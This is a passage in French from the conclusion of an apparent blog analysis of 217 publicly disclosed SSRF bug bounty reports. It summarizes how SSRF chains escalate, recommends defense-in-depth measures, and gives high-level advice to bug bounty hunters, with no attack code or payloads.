  4. 4. Les chaînes SSRF sont dévastatrices : Le saut du SSRF au RCE (Shopify 25 000 $) ou au vol complet d'identifiants (HackerOne 25 000 $) représente un risque existentiel pour les organisations.
  5. 5. De nouvelles surfaces d'attaque émergent constamment : Les serveurs MCP, l'outillage IA et les plateformes de conteneurs introduisent des vecteurs SSRF qui n'existaient pas il y a deux ans.
La Voie à Suivre :

Les organisations doivent adopter une posture de défense en profondeur : l'isolation réseau bloque le chemin d'escalade, les proxies egress centralisent l'application des politiques URL, IMDSv2 élimine l'attaque de métadonnées la plus facile, et la validation par liste blanche intercepte ce qui passe entre les mailles. Aucune couche seule n'est suffisante — c'est la combinaison qui stoppe les chaînes d'exploitation SSRF avant qu'elles n'atteignent les actifs critiques.

Pour les Chasseurs de Bugs :

Le SSRF reste l'une des classes de bugs les plus gratifiantes à chasser. Les meilleures primes récompensent la démonstration d'une chaîne d'exploitation complète — ne vous arrêtez pas à prouver que le serveur effectue des requêtes. Montrez les identifiants AWS. Cartographiez le réseau interne. Prouvez l'impact. Un rapport SSRF bien chaîné peut facilement rapporter 5 000 $ à 25 000 $ dans les meilleurs programmes.

Cette analyse est basée sur 217 rapports de vulnérabilités SSRF publiquement divulgués sur HackerOne, couvrant 77 programmes de bug bounty uniques de 2014 à 2025. Elle représente un sous-ensemble des vulnérabilités SSRF réelles — de nombreuses découvertes SSRF critiques restent non divulguées ou ont été signalées via des programmes privés.

Cette recherche a été principalement conduite avec l'assistance de l'IA pour améliorer la clarté et la structure.

[SHARE_THIS_POST]
Help spread knowledge in the cybersecurity community